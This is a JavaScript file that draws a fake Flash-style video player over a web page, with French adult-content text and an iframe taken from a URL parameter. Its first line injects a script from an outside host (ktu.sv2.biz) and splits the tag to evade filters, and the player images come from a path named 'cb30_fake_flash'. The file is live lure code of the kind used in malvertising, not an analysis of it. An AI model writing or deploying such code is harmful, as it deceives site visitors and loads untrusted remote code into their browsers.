document.write("<scr"+"ipt src='http://ktu.sv2.biz/drag.js'></scr"+"ipt>");
function _d(param_name, def)
{
 if (!def) def = '';
 qstring = popupUrl.substring(1);
 allparams = qstring.split('&');
 for (j=0; j<allparams.length; j++) {couple = allparams[j];couple = couple.split('=');if (couple[0] == param_name) return couple[1];}
 return def;
}

if(_d("player")==1) popupHeight = 484;
if(_d("player")==2) popupHeight = 412;
if(_d("player")==3) popupHeight = 488;
if (typeof popupHeight == 'undefined') popupHeight = 508;
if (typeof popupWidth == 'undefined')  popupWidth = 666;
if (typeof popupTitleText == 'undefined')  popupTitleText = "&nbsp;"
if (typeof popupTitleFont == 'undefined')  popupTitleFont = "Arial"
if (typeof popupTitleFontSize == 'undefined')  popupTitleFontSize = "12"
if (typeof popupTitleColor == 'undefined')  popupTitleColor = "#FFFFFF"
if (typeof hasShadow == 'undefined')  hasShadow = 1;

var abs=0;
var ord=0;
var iframeSource = '<iframe src="'+popupUrl+'" width="'+popupWidth+'" height="'+popupHeight+'" marginwidth="0" marginheight="0" frameborder="0" scrolling="no" style="margin:0; padding:0;" allowtransparency="true"></iframe>';
popupWidth -= 13;
popupHeight -= 13;


function vmp_close()
{
	closePopup();
}

function closePopup()
{
	document.getElementById("popupID").style.visibility="hidden";
	document.getElementById("popupID").style.display = 'none';
}

/* START : Options */
if (document.body) {
	var innerWidth  = (document.body.clientWidth)  ? document.body.clientWidth  : window.innerWidth;
	var innerHeight = (document.body.clientHeight) ? document.body.clientHeight : window.innerHeight;
} else {
	var innerWidth = window.innerWidth;
	var innerHeight = window.innerHeight;
}
if (typeof innerHeight == 'undefined' && typeof popupTop == 'undefined') var popupTop = 100;
if (typeof popupLeft == 'undefined') var popupLeft = Math.round(innerWidth/2)-Math.round(popupWidth/2);
if (typeof popupTop == 'undefined') var popupTop = Math.round(innerHeight/2)-Math.round(popupHeight/2);
if (typeof popupCss == 'undefined') var popupCss = ' ';
if (typeof debug != 'undefined') alert("innerWidth ="+innerWidth+"\ninnerHeight = "+innerHeight+"\nleft = "+popupLeft+"\ntop = "+popupTop+"\ncss = "+popupCss);
/* END : Options */

function displayPopup()
{
	if(popupWidth==653) margL=615;
	else margL=530;

	document.write('<style type="text/css">');
	document.write(popupCss);
	document.write('table.popupTable {');
	document.write('border: 0px solid #000000;}');
	document.write('td.popupTitle {');
	document.write('font-family: '+popupTitleFont+';');
	document.write('font-size: '+popupTitleFontSize+'px;');
	document.write('color: '+popupTitleColor+';}');
	document.write('td.popupBody {');
	document.write('font-family: Arial;');
	document.write('font-size: 18px;');
	document.write('background: transparent;}');
	document.write('a.close {float:right; display:block; width:50px; height:20px;}');
	document.write('a.close span {display:none;}');
	if(_d("player")==1) document.write('.top {background:url(http://ktu.sv2.biz/cb30_fake_flash/popup/top'+_d("player","1")+'.gif); line-height:18px; padding-left:30px; height:18px; font-family:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:white;}');
	if(_d("player")==2) document.write('.top {background:url(http://ktu.sv2.biz/cb30_fake_flash/popup/top'+_d("player","1")+'.jpg); line-height:19.7px; padding-left:30px; height:19.7px; font-family:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:white;}');
	if(_d("player")==3) document.write('.top {background:url(http://ktu.sv2.biz/cb30_fake_flash/popup/top'+_d("player","1")+'.jpg); line-height:18px; padding-left:30px; height:18px; font-family:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:white;}');
    document.write('.top a {color:white; text-decoration:none;}');
    document.write('.top a:hover {text-decoration:none;}');
	document.write('</style>');
	document.write('<div id=popupID style="position:absolute; left:0; z-index:1000; width:100%;height:100%; background:white;filter:alpha(opacity=60);-moz-opacity:0.6;opacity: 0.6;">');
	document.write('<div id=popupID style="position:absolute; left:'+popupLeft+'px;top:'+popupTop+'px;z-index: 3000;">');

	//document.write('<a href="javascript: closePopup()" style="width:50px; position:absolute; z-index:2000; background-image:url(hack); height:25px; display:block; margin-left: '+margL+'px; margin-top: 0px;border-collapse:collapse;border-spacing:0pt;"><span style="display:none;">Close</span></a>');
	document.write('<table width="'+popupWidth+'"  height="'+popupHeight+'" border="0" cellspacing="0" cellpadding="0" class="popupTable" style="z-index:1">')
	document.write('<tr>');
	document.write('<td class="top">');
	document.write('<a href="javascript: closePopup()" class="close"><span>Close</span></a>');
	document.write('<a href="#" class="title" style="text-transform: capitalize;">Video 100% '+_d("niche","HARDCORE")+' - Lecture de la video</a>');
	document.write('</td>');
	document.write('</tr>');
	document.write('<tr valign="top">')
	document.write('<td bgcolor="#000000" width="'+popupWidth+'" height="'+popupHeight+'" colspan="3" class="popupBody">'+iframeSource+'</td>')
	document.write('</tr>')
	document.write('</table>')
	document.write('</div>')
	document.write('</div>');
}

//displayPopup();

if (typeof useCookies != 'undefined')
	shown = document.cookie.indexOf('fake_flash_player=') != -1 ? true : false;
else
	shown=false;

if (shown==0)
{
	displayPopup();
	if (typeof useCookies != 'undefined') document.cookie = 'fake_flash_player=1';
}

document.close();
